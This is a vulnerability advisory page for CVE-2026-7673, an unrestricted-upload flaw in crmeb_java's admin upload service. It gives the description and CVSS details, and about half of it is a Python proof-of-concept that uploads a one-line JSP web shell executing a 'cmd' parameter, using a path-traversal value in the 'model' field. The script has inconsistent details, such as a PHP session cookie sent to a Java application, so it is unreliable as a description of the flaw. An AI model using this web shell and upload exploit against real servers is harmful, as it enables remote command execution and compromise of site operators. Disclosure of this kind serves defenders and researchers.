Security Vulnerability Report
中文
CVE-2026-7673 CVSS 4.7 MEDIUM

CVE-2026-7673

Published: 2026-05-03 02:17:13
Last Modified: 2026-05-04 15:19:35

Description

A vulnerability was detected in crmeb_java up to 1.3.4. This vulnerability affects unknown code of the file crmeb/crmeb-service/src/main/java/com/zbkj/service/service/impl/UploadServiceImpl.java of the component Admin Upload. Performing a manipulation of the argument model results in unrestricted upload. Remote exploitation of the attack is possible. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

crmeb_java <= 1.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Vulnerable endpoint URL target_url = "http://target.com/adminapi/system/upload" # Attacker's session cookie (High Privilege required) cookies = { "PHPSESSID": "attacker_session_id" } # Payload file files = { 'file': ('shell.jsp', '<%@ page import="java.io.*" %><%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>', 'application/octet-stream') } # Malicious data parameter # 'model' parameter is vulnerable payload_data = { 'model': '../../../' # Attempting path traversal or changing storage logic } try: response = requests.post(target_url, files=files, data=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Exploit success! File uploaded.") print("[+] Response:", response.text) else: print("[-] Exploit failed.") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
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